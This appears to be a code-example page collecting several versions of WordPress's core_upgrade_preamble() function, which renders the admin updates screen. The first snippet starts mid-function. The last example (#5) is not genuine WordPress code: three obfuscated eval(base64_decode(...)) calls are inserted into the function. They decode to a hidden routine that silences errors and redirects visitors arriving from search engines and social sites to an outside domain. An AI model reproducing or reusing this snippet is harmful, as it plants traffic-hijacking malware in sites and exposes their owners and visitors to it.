示例#1
0
         _e('Please select one or more themes to update.');
     } else {
         _e('Please select one or more plugins to update.');
     }
     echo '</p></div>';
 }
 echo '<p>';
 /* translators: %1 date, %2 time. */
 printf(__('Last checked on %1$s at %2$s.'), date_i18n(get_option('date_format')), date_i18n(get_option('time_format')));
 echo ' &nbsp; <a class="button" href="' . esc_url(self_admin_url('update-core.php?force-check=1')) . '">' . __('Check Again') . '</a>';
 echo '</p>';
 if ($core = current_user_can('update_core')) {
     core_upgrade_preamble();
 }
 if ($plugins = current_user_can('update_plugins')) {
     list_plugin_updates();
 }
 if ($themes = current_user_can('update_themes')) {
     list_theme_updates();
 }
 if ($core || $plugins || $themes) {
     list_translation_updates();
 }
 unset($core, $plugins, $themes);
 /**
  * Fires after the core, plugin, and theme update tables.
  *
  * @since 2.9.0
  */
 do_action('core_upgrade_preamble');
 echo '</div>';
/**
 * Display upgrade WordPress for downloading latest or upgrading automatically form.
 *
 * @since 2.7
 *
 * @return null
 */
function core_upgrade_preamble()
{
    global $upgrade_error, $wp_version;
    $updates = get_core_updates();
    ?>
	<div class="wrap">
	<?php 
    screen_icon('tools');
    ?>
	<h2><?php 
    _e('WordPress Updates');
    ?>
</h2>
<?php 
    if ($upgrade_error) {
        echo '<div class="error"><p>';
        if ($upgrade_error == 'themes') {
            _e('Please select one or more themes to update.');
        } else {
            _e('Please select one or more plugins to update.');
        }
        echo '</p></div>';
    }
    echo '<p>';
    /* translators: %1 date, %2 time. */
    printf(__('Last checked on %1$s at %2$s.'), date_i18n(get_option('date_format')), date_i18n(get_option('time_format')));
    echo ' &nbsp; <a class="button" href="' . esc_url(self_admin_url('update-core.php')) . '">' . __('Check Again') . '</a>';
    echo '</p>';
    if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
        echo '<h3>';
        _e('You have the latest version of WordPress.');
        echo '</h3>';
    } else {
        echo '<div class="updated inline"><p>';
        _e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">back up your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.');
        echo '</p></div>';
        echo '<h3 class="response">';
        _e('An updated version of WordPress is available.');
        echo '</h3>';
    }
    echo '<ul class="core-updates">';
    $alternate = true;
    foreach ((array) $updates as $update) {
        echo '<li>';
        list_core_update($update);
        echo '</li>';
    }
    echo '</ul>';
    if ($updates) {
        echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>';
    } else {
        list($normalized_version) = explode('-', $wp_version);
        echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>';
    }
    dismissed_updates();
    if (current_user_can('update_plugins')) {
        list_plugin_updates();
    }
    if (current_user_can('update_themes')) {
        list_theme_updates();
    }
    do_action('core_upgrade_preamble');
    echo '</div>';
}
/**
 * Display upgrade WordPress for downloading latest or upgrading automatically form.
 *
 * @since 2.7
 *
 * @return null
 */
function core_upgrade_preamble()
{
    global $upgrade_error;
    $updates = get_core_updates();
    ?>
	<div class="wrap">
	<?php 
    screen_icon();
    ?>
	<h2><?php 
    _e('Upgrade WordPress');
    ?>
</h2>
<?php 
    if ($upgrade_error) {
        echo '<div class="error"><p>';
        _e('Please select one or more plugins to upgrade.');
        echo '</p></div>';
    }
    if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
        echo '<h3>';
        _e('You have the latest version of WordPress. You do not need to upgrade');
        echo '</h3>';
    } else {
        echo '<div class="updated fade"><p>';
        _e('<strong>Important:</strong> before upgrading, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>.');
        echo '</p></div>';
        echo '<h3 class="response">';
        _e('There is a new version of WordPress available for upgrade');
        echo '</h3>';
    }
    echo '<ul class="core-updates">';
    $alternate = true;
    foreach ((array) $updates as $update) {
        $class = $alternate ? ' class="alternate"' : '';
        $alternate = !$alternate;
        echo "<li {$class}>";
        list_core_update($update);
        echo '</li>';
    }
    echo '</ul>';
    dismissed_updates();
    list_plugin_updates();
    //list_theme_updates();
    do_action('core_upgrade_preamble');
    echo '</div>';
}
示例#4
0
/**
 * Display upgrade WordPress for downloading latest or upgrading automatically form.
 *
 * @since 2.7
 *
 * @return null
 */
function core_upgrade_preamble()
{
    global $upgrade_error;
    $updates = get_core_updates();
    ?>
	<div class="wrap">
	<?php 
    screen_icon('tools');
    ?>
	<h2><?php 
    _e('WordPress Updates');
    ?>
</h2>
<?php 
    if ($upgrade_error) {
        echo '<div class="error"><p>';
        _e('Please select one or more plugins to upgrade.');
        echo '</p></div>';
    }
    if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
        echo '<h3>';
        _e('You have the latest version of WordPress.');
        echo '</h3>';
    } else {
        echo '<div class="updated"><p>';
        _e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.');
        echo '</p></div>';
        echo '<h3 class="response">';
        _e('An updated version of WordPress is available.');
        echo '</h3>';
    }
    echo '<ul class="core-updates">';
    $alternate = true;
    foreach ((array) $updates as $update) {
        $class = $alternate ? ' class="alternate"' : '';
        $alternate = !$alternate;
        echo "<li {$class}>";
        list_core_update($update);
        echo '</li>';
    }
    echo '</ul>';
    echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>';
    dismissed_updates();
    list_plugin_updates();
    list_theme_updates();
    do_action('core_upgrade_preamble');
    echo '</div>';
}
示例#5
0
/**
 * Display upgrade WordPress for downloading latest or upgrading automatically form.
 *
 * @since 2.7
 *
 * @return null
 */
function core_upgrade_preamble()
{
    global $upgrade_error;
    $updates = get_core_updates();
    ?>
	<div class="wrap">
	<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    screen_icon();
    ?>
	<h2><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Upgrade WordPress');
    ?>
</h2>
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    if ($upgrade_error) {
        echo '<div class="error"><p>';
        _e('Please select one or more plugins to upgrade.');
        echo '</p></div>';
    }
    if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
        echo '<h3>';
        _e('You have the latest version of WordPress. You do not need to upgrade');
        echo '</h3>';
    } else {
        echo '<div class="updated fade"><p>';
        _e('<strong>Important:</strong> before upgrading, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>.');
        echo '</p></div>';
        echo '<h3 class="response">';
        _e('There is a new version of WordPress available for upgrade');
        echo '</h3>';
    }
    echo '<ul class="core-updates">';
    $alternate = true;
    foreach ((array) $updates as $update) {
        $class = $alternate ? ' class="alternate"' : '';
        $alternate = !$alternate;
        echo "<li {$class}>";
        list_core_update($update);
        echo '</li>';
    }
    echo '</ul>';
    dismissed_updates();
    list_plugin_updates();
    //list_theme_updates();
    do_action('core_upgrade_preamble');
    echo '</div>';
}